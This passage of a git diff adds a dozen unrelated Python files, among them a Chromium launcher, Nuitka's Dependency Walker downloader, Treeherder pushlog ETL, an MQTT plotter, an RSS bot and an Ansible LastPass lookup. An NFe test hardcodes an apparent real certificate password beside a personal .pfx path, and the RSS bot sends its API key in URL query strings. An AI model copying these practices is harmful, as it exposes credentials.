(" -v|--vmodule : Comma-separated file patterns for verbose logging.") + print ("Usage: ", sys.argv[0], " [options] extra_args...") + + +def main(argv): + build_root = os.path.join(os.getenv("CHROMIUM_SRC"), "out") + run_gdb = False + clean_user_dir = False + build_type = "debug" + vmodule = [] + try: + opts, extra_args = getopt.getopt(argv, "dcb:v:", ["debug", "clean", "build=", "vmodule="]) + for (option, value) in opts: + if option in ["-d", "--debug"]: + run_gdb = True + elif option in ["-c", "--clean"]: + clean_user_dir = True + elif option in ["-b", "--build"]: + build_type = value + elif option in ["-v", "--vmodule"]: + vmodule = value.split(",") + + chrome_folder = os.path.join(build_root, build_type) + user_dir = os.path.join(chrome_folder, "google-chrome-local") + if clean_user_dir: + RemoveUserDir(user_dir) + path = chrome_folder + prefix_args = [] + if run_gdb: + prefix_args += ["--args", chrome_folder] + path = "/usr/bin/gdb" + RunChromeBuild(path, chrome_folder, user_dir, vmodule, prefix_args, extra_args) + except getopt.GetoptError as e: + print ("Arguments error: ", e.msg, " ", e.opt) + PrintUsage() + sys.exit(2) + + +if __name__ == "__main__": + main(sys.argv[1:]) diff --git a/pool/shard009/Python/0082476_DependsExe.py b/pool/shard009/Python/0082476_DependsExe.py new file mode 100644 index 0000000000000000000000000000000000000000..90846e8177e484a81239c845904a1409d5566e82 --- /dev/null +++ b/pool/shard009/Python/0082476_DependsExe.py @@ -0,0 +1,110 @@ +# Copyright 2015, Kay Hayen, mailto:kay.hayen@gmail.com +# +# Part of "Nuitka", an optimizing Python compiler that is compatible and +# integrates with CPython, but also works on its own. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +""" Interface to depends.exe on Windows. + +We use depends.exe to investigate needed DLLs of Python DLLs. + +""" + +import os +import sys +from logging import info + +from nuitka import Tracing +from nuitka.__past__ import raw_input, urlretrieve # pylint: disable=W0622 +from nuitka.utils import Utils + + +def getDependsExePath(): + """ Return the path of depends.exe (for Windows). + + Will prompt the user to download if not already cached in AppData + directory for Nuitka. + """ + if Utils.getArchitecture() == "x86": + depends_url = "http://dependencywalker.com/depends22_x86.zip" + else: + depends_url = "http://dependencywalker.com/depends22_x64.zip" + + if "APPDATA" not in os.environ: + sys.exit("Error, standalone mode cannot find 'APPDATA' environment.") + + nuitka_app_dir = Utils.joinpath(os.environ["APPDATA"], "nuitka") + if not Utils.isDir(nuitka_app_dir): + Utils.makePath(nuitka_app_dir) + + nuitka_depends_zip = Utils.joinpath( + nuitka_app_dir, + Utils.basename(depends_url) + ) + + if not Utils.isFile(nuitka_depends_zip): + Tracing.printLine("""\ +Nuitka will make use of Dependency Walker (http://dependencywalker.com) tool +to analyze the dependencies of Python extension modules. Is it OK to download +and put it in APPDATA (no installer needed, cached, one time question).""") + + reply = raw_input("Proceed and download? [Yes]/No ") + + if reply.lower() in ("no", 'n'): + sys.exit("Nuitka does not work in --standalone on Windows without.") + + info("Downloading '%s'" % depends_url) + + urlretrieve( + depends_url, + nuitka_depends_zip + ) + + nuitka_depends_dir = Utils.joinpath( + nuitka_app_dir, + Utils.getArchitecture() + ) + + if not Utils.isDir(nuitka_depends_dir): + os.makedirs(nuitka_depends_dir) + + depends_exe = os.path.join( + nuitka_depends_dir, + "depends.exe" + ) + + if not Utils.isFile(depends_exe): + info("Extracting to '%s'" % depends_exe) + + import zipfile + + try: + depends_zip = zipfile.ZipFile(nuitka_depends_zip) + depends_zip.extractall(nuitka_depends_dir) + except Exception: # Catching anything zip throws, pylint:disable=W0703 + info("Problem with the downloaded zip file, deleting it.") + + Utils.deleteFile(depends_exe, must_exist = False) + Utils.deleteFile(nuitka_depends_zip, must_exist = True) + + sys.exit( + "Error, need '%s' as extracted from '%s'." % ( + depends_exe, + depends_url + ) + ) + + assert Utils.isFile(depends_exe) + + return depends_exe diff --git a/pool/shard009/Python/0082477_pyspark_flame_test.py b/pool/shard009/Python/0082477_pyspark_flame_test.py new file mode 100644 index 0000000000000000000000000000000000000000..9fc42fd173b7d670ccaa5329af844719025cc58d --- /dev/null +++ b/pool/shard009/Python/0082477_pyspark_flame_test.py @@ -0,0 +1,50 @@ +from pyspark_flame import FlameProfiler +from pyspark import SparkConf, SparkContext +import os +import shutil +import time +import tempfile +import unittest + + +def wait_a_bit(*args, **kwargs): + time.sleep(5.0) + return 1 + + +def crash(*args, **kwargs): + raise ValueError("A value error") + + +class PysparkFlameTest(unittest.TestCase): + def setUp(self): + self.dumpdir = tempfile.mkdtemp() + conf = SparkConf().set("spark.python.profile", "true") + self.sc = SparkContext('local[*]', 'test', + conf=conf, + profiler_cls=FlameProfiler, + environment={'pyspark_flame.interval': 0.25}) + + def tearDown(self): + self.sc.stop() + shutil.rmtree(self.dumpdir) + + def test_pyspark_flame(self): + + self.sc.parallelize(range(4)).map(wait_a_bit).sum() + self.sc.dump_profiles(self.dumpdir) + dumps = os.listdir(self.dumpdir) + self.assertEqual(1, len(dumps)) + with open(os.path.join(self.dumpdir, dumps[0])) as dumpfile: + for line in dumpfile.readlines(): + location, count = line.split(' ') + if 'pyspark_flame_test.py:wait_a_bit:11' in location: + count = int(count) + self.assertIn(count, range(70, 90)) + return + else: + self.fail('No wait_a_bit profile line found') + + def test_propagate_exception(self): + with self.assertRaises(Exception): + self.sc.parallelize(range(4)).map(crash).sum() diff --git a/pool/shard009/Python/0082481_pushlog.py b/pool/shard009/Python/0082481_pushlog.py new file mode 100644 index 0000000000000000000000000000000000000000..417485ccd189c3352a87d1a51905faf28a49afb8 --- /dev/null +++ b/pool/shard009/Python/0082481_pushlog.py @@ -0,0 +1,204 @@ +import logging + +import requests +from django.conf import settings +from django.core.cache import cache + +from treeherder.client import TreeherderResultSetCollection +from treeherder.etl.common import (generate_revision_hash, + get_not_found_onhold_push) + +from .mixins import OAuthLoaderMixin + +logger = logging.getLogger(__name__) + + +class HgPushlogTransformerMixin(object): + + def transform(self, pushlog, repository): + + # this contain the whole list of transformed pushes + + th_collections = {} + + # iterate over the pushes + for push in pushlog.values(): + result_set = dict() + result_set['push_timestamp'] = push['date'] + + result_set['revisions'] = [] + + # Author of the push/resultset + result_set['author'] = push['user'] + + result_set['active_status'] = push.get('active_status', 'active') + + rev_hash_components = [] + + # iterate over the revisions + # we only want to ingest the last 200 revisions. + for change in push['changesets'][-200:]: + revision = dict() + revision['revision'] = change['node'] + revision['author'] = change['author'] + revision['branch'] = change['branch'] + revision['comment'] = change['desc'] + revision['repository'] = repository + rev_hash_components.append(change['node']) + rev_hash_components.append(change['branch']) + + # append the revision to the push + result_set['revisions'].append(revision) + + result_set['revision_hash'] = generate_revision_hash(rev_hash_components) + + if repository not in th_collections: + th_collections[repository] = TreeherderResultSetCollection() + + th_resultset = th_collections[repository].get_resultset(result_set) + th_collections[repository].add(th_resultset) + + return th_collections + + +class HgPushlogProcess(HgPushlogTransformerMixin, + OAuthLoaderMixin): + # For more info on Mercurial Pushes, see: + # https://mozilla-version-control-tools.readthedocs.org/en/latest/hgmo/pushlog.html + + def extract(self, url): + response = requests.get(url, timeout=settings.TREEHERDER_REQUESTS_TIMEOUT) + try: + response.raise_for_status() + except requests.exceptions.HTTPError: + logger.warning("HTTPError %s fetching: %s", response.status_code, url) + raise + return response.json() + + def run(self, source_url, repository, changeset=None): + + # get the last object seen from cache. this will + # reduce the number of pushes processed every time + last_push_id = cache.get("{0}:last_push_id".format(repository)) + if not changeset and last_push_id: + startid_url = "{}&startID={}".format(source_url, last_push_id) + logger.info("Extracted last push for '%s', '%s', from cache, " + "attempting to get changes only from that point at: %s" % + (repository, last_push_id, startid_url)) + # Use the cached ``last_push_id`` value (saved from the last time + # this API was called) for this repo. Use that value as the + # ``startID`` to get all new pushes from that point forward. + extracted_content = self.extract(startid_url) + + if extracted_content['lastpushid'] < last_push_id: + # Push IDs from Mercurial are incremental. If we cached a value + # from one call to this API, and a subsequent call told us that + # the ``lastpushid`` is LOWER than the one we have cached, then + # the Mercurial IDs were reset. + # In this circumstance, we can't rely on the cached id, so must + # throw it out and get the latest 10 pushes. + logger.warning(("Got a ``lastpushid`` value of {} lower than " + "the cached value of {} due to Mercurial repo reset. " + "Getting latest changes for '{}' instead").format( + extracted_content['lastpushid'], + last_push_id, + repository + ) + ) + cache.delete("{0}:last_push_id".format(repository)) + extracted_content = self.extract(source_url) + else: + if changeset: + logger.info("Getting all pushes for '%s' corresponding to " + "changeset '%s'" % (repository, changeset)) + extracted_content = self.extract(source_url + "&changeset=" + + changeset) + else: + logger.warning("Unable to get last push from cache for '%s', " + "getting all pushes" % repository) + extracted_content = self.extract(source_url) + + # ``pushes`` could be empty if there are no new ones since we last + # fetched + pushes = extracted_content['pushes'] + + if not pushes: + return None + + last_push_id = max(map(lambda x: int(x), pushes.keys())) + last_push = pushes[str(last_push_id)] + top_revision = last_push["changesets"][-1]["node"] + transformed = self.transform(pushes, repository) + self.load(transformed) + + if not changeset: + # only cache the last push if we're not fetching a specific + # changeset + cache.set("{0}:last_push_id".format(repository), last_push_id) + + return top_revision + + +class MissingHgPushlogProcess(HgPushlogTransformerMixin, + OAuthLoaderMixin): + + def extract(self, url, revision): + logger.info("extracting missing resultsets: {0}".format(url)) + response = requests.get(url, timeout=settings.TREEHERDER_REQUESTS_TIMEOUT) + if response.status_code == 404: + # we will sometimes get here because builds4hr/pending/running have a + # job with a resultset that json-pushes doesn't know about. So far + # I have only found this to be the case when it uses a revision from + # the wrong repo. For example: mozilla-central, but l10n. The l10n + # is a separate repo, but buildbot shows it as the same. So we + # create this dummy resultset with ``active_status`` of ``onhold``. + # + # The effect of this is that we won't keep trying to re-fetch + # the bogus pushlog, but the jobs are (correctly) not shown in the + # UI, since they're bad data. + logger.warn(("no pushlog in json-pushes. generating a dummy" + " onhold placeholder: {0}").format(url)) + + # we want to make a "dummy" resultset that is "onhold", + # because json-pushes doesn't know about it. + # This is, in effect, what TBPL does. + # These won't show in the UI, because they only fetch "active" + # resultsets + return get_not_found_onhold_push(url, revision) + else: + try: + response.raise_for_status() + except requests.exceptions.HTTPError: + logger.warning("HTTPError %s fetching: %s", response.status_code, url) + raise + return response.json() + + def run(self, source_url, repository, revision): + + try: + extracted_content = self.extract(source_url, revision) + + if extracted_content: + + transformed = self.transform( + extracted_content['pushes'], + repository + ) + + for project, coll in transformed.iteritems(): + logger.info("loading missing resultsets for {0}: {1}".format( + project, + coll.to_json())) + + self.load(transformed) + logger.info("done loading missing resultsets for {0}".format(repository)) + else: + assert extracted_content, ( + "Got no content response for missing resultsets: {0}".format( + source_url) + ) + except Exception: + logger.exception("error loading missing resultsets: {0}".format( + source_url + )) + raise diff --git a/pool/shard009/Python/0082489_test_ignore.py b/pool/shard009/Python/0082489_test_ignore.py new file mode 100644 index 0000000000000000000000000000000000000000..1ad2ba5d19626450e7a91500840ae8ed0e2deaba --- /dev/null +++ b/pool/shard009/Python/0082489_test_ignore.py @@ -0,0 +1,33 @@ +from iwant_bot.ignore import IgnoreList + + +def make_ignore_list_filled(): + ignore_list = IgnoreList() + ignore_list.ignore('Ivan', 'Michael') + ignore_list.ignore('Ivan', 'Peter') + ignore_list.ignore('Ivan', 'Franklin') + ignore_list.ignore('Ivan', 'Joshua') + ignore_list.ignore('Ivan', 'Michael') + ignore_list.ignore('Ivan', 'Debora') + ignore_list.ignore('Debora', 'Michael') + ignore_list.ignore('Debora', 'Michelle') + ignore_list.ignore('Debora', 'Marques') + ignore_list.ignore('Debora', 'Ivan') + return ignore_list + + +def test_ignore(): + ignore_list = make_ignore_list_filled() + assert len(ignore_list.ignored_by_user('Ivan')) == 5 + assert len(ignore_list.ignored_by_user('Debora')) == 4 + ignore_list.unignore('Ivan', 'Peter') + who = ignore_list.ignored_by_user('Ivan') + assert who == ['Michael', 'Franklin', 'Joshua', 'Debora'] + assert not ignore_list.user_ignores('Debora', 'Joshua') + assert ignore_list.user_ignores('Debora', 'Marques') + + +def test_ignoring_pair(): + ignore_list = make_ignore_list_filled() + assert ignore_list.is_ignoring_pair('Ivan', 'Debora') + assert not ignore_list.is_ignoring_pair('Debora', 'Marques') diff --git a/pool/shard009/Python/0082490_show-temp.py b/pool/shard009/Python/0082490_show-temp.py new file mode 100644 index 0000000000000000000000000000000000000000..109f4761aba5e26668ddc30f3c46393ae013c153 --- /dev/null +++ b/pool/shard009/Python/0082490_show-temp.py @@ -0,0 +1,116 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +import os, argparse +from util import util + +# gestion des options en ligne de commande +parser = argparse.ArgumentParser (description='Plot temperature') +parser.add_argument ('--broker', '-b', default='127.0.0.1', help='MQTT broker address - default to localhost') +parser.add_argument ('--port', '-p', default=1883, type=int, help='MQTT broker port - default to 1883') +parser.add_argument ('--id', '-i', default='plot', help='Id of MQTT client - default to plot') +parser.add_argument ('--user', '-u', default='plot', help='username to log to MQTT broker') +parser.add_argument ('--debug', '-d', action='store_true', help='Enable MQTT tracing') +parser.add_argument ('--quiet', '-q', action='store_true', help='Disable console tracing') + +args = parser.parse_args () + +# Gestion des logs +logger = util.init_log ('plot', args.quiet) + +# récupération mot de passe pour connexion MQTT broker +try: + mqtt_passwd = os.environ['MQTT_PASSWD'] +except KeyError as e: + logger.error ('Please set MQTT_PASSWD environment variable') + exit (1) + +# import des librairies +try: + import paho.mqtt.client as mqtt + from matplotlib import pyplot +except ImportError as e: + logger.critical (e) + exit (1) + +# mise en place call-backs MQTT Mosquito ('userdata' correspond au logger) +def on_connect (client, userdata, flags, rc): + if rc != 0: + if rc == 1: + userdata.error ('MQTT connexion Error: incorrect protocol') + elif rc == 2: + userdata.error ('MQTT connexion Error: invalid client identifier') + elif rc == 3: + userdata.critical ('MQTT connexion Error: server unavailable') + elif rc == 4: + userdata.error ('MQTT connexion Error: bad username or password') + elif rc == 5: + userdata.error ('MQTT connexion Error: not authorized') + else: + userdata.critical ('MQTT connexion error: {code}'.format(code=str(rc))) + exit (1) + userdata.info ('MQTT connexion success') + +def on_subscribe (client, userdata, mid, granted_qos): + userdata.info ('subscribe: {q} - {m}'.format (q=str(granted_qos[0]), m=str(mid))) + +def on_message (client, userdata, msg): + userdata.info ('msg: {t}:{p}'.format (t=msg.topic, p=str(msg.payload))) + pData.append (float(msg.payload)) + pyplot.ylim ([-10,40]) + del pData [0] + l1.set_xdata([i for i in xrange(20)]) + l1.set_ydata(pData) # update the data + pyplot.draw () + +def on_disconnect (client, userdata, rc): + userdata.info ('deconnected: {code}'.format (code=str(rc))) + +def on_log (client, userdata, level, buf): + userdata.info ('MQTT log: {l}-{b}'.format (l=level, b=buf)) + +# création du client MQTT et mise en place du 'will' +client = mqtt.Client (client_id=args.id, clean_session=True, userdata=logger) +client.will_set (topic='monitor/plot', payload='Aborting', qos=0, retain=True) +client.username_pw_set (username=args.user, password=mqtt_passwd) + +# mise en place des call-backs +client.on_connect = on_connect +client.on_subscribe = on_subscribe +client.on_message = on_message +client.on_disconnect = on_disconnect +if args.debug is True: + client.on_log = on_log + +# tentative connection au broker MQTT +try: + client.connect (host=args.broker, port=args.port, keepalive=60) +except IOError as e: + logger.critical (e) + exit (1) + + +# mise en place graphique +pyplot.ion () # mode interactif +pData = [0] * 20 +fig = pyplot.figure () +pyplot.title (u'Affichage Température') +axes = pyplot.axes () +l1, = pyplot.plot (pData) +pyplot.ylim ([-10,40]) + +# abonnement température +client.subscribe (topic='sensors/temp', qos=0) + +# boucle évènements +try: + rc = 0 + while rc == 0: + rc = client.loop () + # pour activer boucle évènement fenêtre + pyplot.pause (1) + logger.error ('broker error - {0}'.format (str(rc))) +except KeyboardInterrupt as e: + logger.info (e) + client.disconnect () + logger.info ('Ending Program') + diff --git a/pool/shard009/Python/0082502_test_consulta_cadastro.py b/pool/shard009/Python/0082502_test_consulta_cadastro.py new file mode 100644 index 0000000000000000000000000000000000000000..670682e42ca4c5e13b8c09811ea98c89d7523ad1 --- /dev/null +++ b/pool/shard009/Python/0082502_test_consulta_cadastro.py @@ -0,0 +1,33 @@ +#coding=utf-8 +''' +Created on 22/06/2015 + +@author: danimar +''' +import unittest +from pytrustnfe.servicos.NfeConsultaCadastro import NfeConsultaCadastro +from pytrustnfe.xml.DynamicXml import DynamicXml + + +class Test(unittest.TestCase): + + def setUp(self): + unittest.TestCase.setUp(self) + c = DynamicXml('ConsCad') + c(xmlns="http://www.portalfiscal.inf.br/nfe", versao="2.00") + c.infCons.xServ = 'CONS-CAD' + c.infCons.UF = 'SC' + c.infCons.CNPJ = '82951310000156' + self.objeto_consulta = c + + def test_consulta_cadastro(self): + try: + dir_pfx = '/home/danimar/projetos/isotelha.pfx' #Hack + + com = NfeConsultaCadastro(dir_pfx, 'iso@#telha') + xml, objeto = com.consultar_cadastro(self.objeto_consulta, 'SC') + + print xml + print objeto + except Exception as e: + print(str(e)) \ No newline at end of file diff --git a/pool/shard009/Python/0082505_main.py b/pool/shard009/Python/0082505_main.py new file mode 100644 index 0000000000000000000000000000000000000000..a058f654c07875270bf14916b12c0c6d0875b6aa --- /dev/null +++ b/pool/shard009/Python/0082505_main.py @@ -0,0 +1,18 @@ +import tkinter as tk +from streamdownloader import gui + +if __name__ == "__main__": + root = tk.Tk() + root.columnconfigure(0, weight=1) + root.rowconfigure(0, weight=1) + root.title("Stream Downloader") + + x = 400 + y = 200 + w = 400 + h = 200 + + root.geometry("%dx%d+%d+%d" % (w, h, x, y)) + + mainWindow = gui.MainWindow(root) + root.mainloop() diff --git a/pool/shard009/Python/0082508_0001_initial.py b/pool/shard009/Python/0082508_0001_initial.py new file mode 100644 index 0000000000000000000000000000000000000000..a382bb89c5dd7cbb8488899d4d6ee22184014747 --- /dev/null +++ b/pool/shard009/Python/0082508_0001_initial.py @@ -0,0 +1,37 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals + +from django.db import models, migrations +import django.contrib.gis.db.models.fields +import django_extensions.db.fields + + +class Migration(migrations.Migration): + + dependencies = [ + ('councils', '0002_auto_20160121_1522'), + ] + + operations = [ + migrations.CreateModel( + name='LoggedPostcode', + fields=[ + ('id', models.AutoField(primary_key=True, serialize=False, verbose_name='ID', auto_created=True)), + ('created', django_extensions.db.fields.CreationDateTimeField(verbose_name='created', auto_now_add=True)), + ('modified', django_extensions.db.fields.ModificationDateTimeField(auto_now=True, verbose_name='modified')), + ('postcode', models.CharField(max_length=100)), + ('had_data', models.BooleanField(db_index=True, default=False)), + ('council', models.ForeignKey(null=True, to='councils.Council')), + ('location', django.contrib.gis.db.models.fields.PointField(blank=True, null=True, srid=4326)), + ('brand', models.CharField(db_index=True, blank=True, max_length=100)), + ('utm_campaign', models.CharField(db_index=True, blank=True, max_length=100)), + ('utm_medium', models.CharField(db_index=True, blank=True, max_length=100)), + ('utm_source', models.CharField(db_index=True, blank=True, max_length=100)), + ], + options={ + 'abstract': False, + 'ordering': ('-modified', '-created'), + 'get_latest_by': 'modified', + }, + ), + ] diff --git a/pool/shard009/Python/0082511_pypruss_test.py b/pool/shard009/Python/0082511_pypruss_test.py new file mode 100644 index 0000000000000000000000000000000000000000..58d036c30323f86f9455aa4d7232a1b92844e83a --- /dev/null +++ b/pool/shard009/Python/0082511_pypruss_test.py @@ -0,0 +1,55 @@ +import pypruss +import time +import struct #for sturct.unpack + +offset=0 +class PyprussTest(): + + def __init__(self): + + pypruss.modprobe(100) + + print 'Initializing PRU' + pypruss.init() + + print 'successfully initialized!' + + if pypruss.open(0): + print 'PRU open failed' + return 1 + + + pypruss.pruintc_init() + + self.pruData=pypruss.map_prumem(pypruss.PRUSS0_PRU0_DATARAM) + + pypruss.exec_program(0, "./hcsr04.bin") + + def get_distances(self): + + distances=[] + + pypruss.wait_for_event(0) # Wait for event 0 which is connected to PRU0_ARM_INTERRUPT + time.sleep(0.2) + + pypruss.clear_event(0,pypruss.PRU0_ARM_INTERRUPT) # Clear the event + + + for j in range(5): + distances.append(round(float(struct.unpack('L', self.pruData[offset+j*4:offset+(j+1)*4])[0]/58.44),2)) + return distances + + def stop_pru(self): + + pypruss.pru_disable(0) + pypruss.exit() + return 0 + + +if __name__ == "__main__": + pyprusstest=PyprussTest() + + i=pyprusstest.get_distances() + print i + j=pyprusstest.stop_pru() + diff --git a/pool/shard009/Python/0082512_zero-rss.py b/pool/shard009/Python/0082512_zero-rss.py new file mode 100644 index 0000000000000000000000000000000000000000..05c53ca811414950e9354ca280d3f10b19cfde01 --- /dev/null +++ b/pool/shard009/Python/0082512_zero-rss.py @@ -0,0 +1,178 @@ +#!/bin/python2.7 + +import feedparser +import json +import os +import re +import requests +import time +from redisworks import Root + +bot_chan_url = "https://app2.bot-chan.com/api" +api_key = os.environ['RSS_API_KEY'] + + +root = Root(host='redis', port=6379, db=0) +#root.feeds = [{}] +if root.feeds == None: + root.feeds = [{}] + + +def parse_all_known_feeds(): + #print("Parsing known feeds...") + #print(root.feeds) + new_feeds = [] + for feed in root.feeds: + if feed == '' or feed == None or feed == {}: + continue + else: + new_feeds.append(parse_feed(feed)) + if new_feeds != []: + root.feeds = new_feeds + + +def parse_feed(feed): + #print("parse feed: " + str(feed)) + #print("parsed feed items: " + str(feed['parsed_items'])) + + items = feedparser.parse(feed['feed_url'])['items'] + for item in items: + url = item['url'] if 'url' in item else item['link'] + parsed_items = feed['parsed_items'] if 'parsed_items' in feed else [] + if url not in parsed_items: + parsed_items.append(url) + consume_feed_item(feed['feed_url'], item, feed['platform_users']) + feed['parsed_items'] = parsed_items + + return feed + + +def consume_feed_item(feed_url, item, platform_users): + for message_id in platform_users: + #print(str(message_id) + " --- " + item['title']) + headers = {'content-type': 'application/json'} + message = "New item '%s' from feed: %s" % (item['title'], feed_url) + requests.put((bot_chan_url + "/directMessage/%s?apikey=%s&message=%s") % (message_id, api_key, message), + headers=headers) + + +def check_messages(): + try: + headers = {'content-type': 'application/json'} + matchers = ['(?i)watch feed http(|s)://.*', '(?i)(unwatch|remove) feed http(|s)://.*', '(?i)list feeds.*'] + payload = {'matchers': matchers, 'platform': 'RSS'} + response = requests.post((bot_chan_url + "/uniqueMessages?apikey=%s") % api_key, + headers=headers, + data=json.dumps(payload)) + print(response.json()) + for data in response.json(): + data = response.json()[0] + + message = data['message'] + message_id = data['id'] + user_id = get_user_id(data['platformID']) + print(message) + + if bool(re.match(matchers[0], message)): + feed_url = message.split(' ')[2] + print("Feed URL: " + feed_url) + add_platform_user_to_feed(feed_url, user_id) + reply_add_success(message_id) + elif bool(re.match(matchers[1], message)): + feed_url = message.split(' ')[2] + print("Feed URL: " + feed_url) + remove_platform_user_from_feed(feed_url, user_id) + reply_remove_success(message_id) + elif bool(re.match(matchers[2], message)): + reply_with_feed_list(user_id, message_id) + except Exception as e: + print(e) + pass + except: + print("Fatal error occured") + pass + + +def get_user_id(platform_id): + print("Requesting userID for %s" % platform_id) + headers = {'content-type': 'application/json'} + response = requests.get((bot_chan_url + "/userID?apikey=%s&platformID=%s&platform=%s") % (api_key, platform_id, 'RSS'), + headers=headers) + #print("RESPONSE: %s" % response.text) + return response.text + + +def reply_add_success(message_id): + message = "New feed added!" + reply(message_id, message) + + +def reply_remove_success(message_id): + message = "Feed removed from your watchlist" + reply(message_id, message) + + +def reply(message_id, message): + headers = {'content-type': 'application/json'} + payload = {'originalMessageID': message_id, 'message': message} + requests.put((bot_chan_url + "/reply?apikey=%s") % api_key, + headers=headers, + data=json.dumps(payload)) + + +def add_platform_user_to_feed(feed_url, platform_user): + feeds = [x for x in root.feeds if x != {}] + feed_item = None + for feed_object in feeds: + if (feed_object['feed_url'] == feed_url): + feed_item = feed_object + + if feed_item is None: + feed_item = {'feed_url': feed_url, 'platform_users': [], 'parsed_items': []} + feeds.append(feed_item) + if platform_user not in feed_item['platform_users']: + feed_item['platform_users'].append(platform_user) + + root.feeds = feeds + + +def remove_platform_user_from_feed(feed_url, platform_user): + feeds = [x for x in root.feeds if x != {}] + feed_item = None + for feed_object in feeds: + if (feed_object['feed_url'] == feed_url): + feed_item = feed_object + + if feed_item is None: + feed_item = {'feed_url': feed_url, 'platform_users': [], 'parsed_items': []} + feeds.append(feed_item) + if platform_user in feed_item['platform_users']: + feed_item['platform_users'].remove(platform_user) + if feed_item['platform_users'] == []: + feeds.remove(feed_item) + + root.feeds = feeds + + +def reply_with_feed_list(platform_id, message_id): + feeds = [x for x in root.feeds if x != {}] + feed_urls = [] + + for feed_item in feeds: + print(feed_item) + if platform_id in feed_item['platform_users']: + feed_urls.append(feed_item['feed_url']) + + reply(message_id, 'Feeds: %s' % ('\n'.join(feed_urls))) + + +if __name__ == "__main__": + i = 0 + while True: + i = i + 1 + check_messages() + if i % 5 == 0: + parse_all_known_feeds() + if i >= 5: + i = 0 + time.sleep(1) diff --git a/pool/shard009/Python/0082515_lastpass.py b/pool/shard009/Python/0082515_lastpass.py new file mode 100644 index 0000000000000000000000000000000000000000..198215ec4591e5042c9d55f621c30d4463bb6c49 --- /dev/null +++ b/pool/shard009/Python/0082515_lastpass.py @@ -0,0 +1,79 @@ +# (c) 2016, Andrew Zenk +# +# This file is part of Ansible +# +# Ansible is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Ansible is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Ansible. If not, see . +from __future__ import (absolute_import, division, print_function) +__metaclass__ = type + +from subprocess import Popen, PIPE + +from ansible.errors import AnsibleError +from ansible.plugins.lookup import LookupBase + + +class LPassException(AnsibleError): + pass + + +class LPass(object): + + def __init__(self, path='lpass'): + self._cli_path = path + + @property + def cli_path(self): + return self._cli_path + + @property + def logged_in(self): + out, err = self._run(self._build_args("logout"), stdin="n\n", expected_rc=1) + return err.startswith("Are you sure you would like to log out?") + + def _run(self, args, stdin=None, expected_rc=0): + p = Popen([self.cli_path] + args, stdout=PIPE, stderr=PIPE, stdin=PIPE) + out, err = p.communicate(stdin) + rc = p.wait() + if rc != expected_rc: + raise LPassException(err) + return out, err + + def _build_args(self, command, args=None): + if args is None: + args = [] + args = [command] + args + args += ["--color=never"] + return args + + def get_field(self, key, field): + if field in ['username', 'password', 'url', 'notes', 'id', 'name']: + out, err = self._run(self._build_args("show", ["--{0}".format(field), key])) + else: + out, err = self._run(self._build_args("show", ["--field={0}".format(field), key])) + return out.strip() + + +class LookupModule(LookupBase): + + def run(self, terms, variables=None, **kwargs): + lp = LPass() + + if not lp.logged_in: + raise AnsibleError("Not logged into lastpass: please run 'lpass login' first") + + field = kwargs.get('field', 'password') + values = [] + for term in terms: + values.append(lp.get_field(term, field)) + return values diff --git a/pool/shard009/Python/0082516_ReferenceSignalsNonEvent.py b/pool/shard009/Python/0082516_ReferenceSignalsNonEvent.py new file mode 100644 index 0000000000000000000000000000000000000000..83c079dc54f60dc1bc3e74e2faf9809482813424 --- /dev/null +++ b/pool/shard009/Python/0082516_ReferenceSignalsNonEvent.py @@ -0,0 +1,184 @@ +''' +Created on 22 August 2014 +@author: Angathan FRANCIS +''' + +import pickle +import numpy as np +import seaborn as sns +import matplotlib.pyplot as plt +from ReferenceTimeSeries import ReferenceTimeSeries + +newTimeSeries = ReferenceTimeSeries() + +## Non Event 1 +################################################### +offset = ['Sat', 'Sep', 22, 15, 30, 30, 2012] +setTweets = newTimeSeries.desiredData('twitter_data', 180, offset) + +words = ['iphone', 'phone', 'smartphone', 'samsung'] + +RefTimeSeries = newTimeSeries.getTimeSeries(words, setTweets) + +with open('RefTimeSeries/NonEvents/1', 'wb') as SaveFile: + pickle.dump(RefTimeSeries, SaveFile) + +with open('RefTimeSeries/NonEvents/1', 'r') as ReadFile: + Event = pickle.load(ReadFile) + +newTimeSeries.getPlot(Event) + +## Non Event 2 +################################################### +offset = ['Sun', 'Sep', 23, 15, 30, 30, 2012] +setTweets = newTimeSeries.desiredData('twitter_data', 180, offset) + +words = ['sunday', 'weekend', 'family', 'barbecue'] + +RefTimeSeries = newTimeSeries.getTimeSeries(words, setTweets) + +with open('RefTimeSeries/NonEvents/2', 'wb') as SaveFile: + pickle.dump(RefTimeSeries, SaveFile) + +with open('RefTimeSeries/NonEvents/2', 'r') as ReadFile: + Event = pickle.load(ReadFile) + +newTimeSeries.getPlot(Event) + +## Non Event 3 +################################################### +offset = ['Wed', 'Sep', 26, 14, 00, 30, 2012] +setTweets = newTimeSeries.desiredData('twitter_data', 180, offset) + +words = ['wednesday', 'middle', 'week', 'tired'] + +RefTimeSeries = newTimeSeries.getTimeSeries(words, setTweets) + +with open('RefTimeSeries/NonEvents/3', 'wb') as SaveFile: + pickle.dump(RefTimeSeries, SaveFile) + +with open('RefTimeSeries/NonEvents/3', 'r') as ReadFile: + Event = pickle.load(ReadFile) + +newTimeSeries.getPlot(Event) + +## Non Event 4 +################################################### +offset = ['Wed', 'Sep', 26, 17, 45, 30, 2012] +setTweets = newTimeSeries.desiredData('twitter_data', 180, offset) + +words = ['music', 'clip', 'youtube', 'new'] + +RefTimeSeries = newTimeSeries.getTimeSeries(words, setTweets) + +with open('RefTimeSeries/NonEvents/4', 'wb') as SaveFile: + pickle.dump(RefTimeSeries, SaveFile) + +with open('RefTimeSeries/NonEvents/4', 'r') as ReadFile: + Event = pickle.load(ReadFile) + +newTimeSeries.getPlot(Event) + +## Non Event 5 +################################################### +offset = ['Sat', 'Sep', 29, 17, 45, 30, 2012] 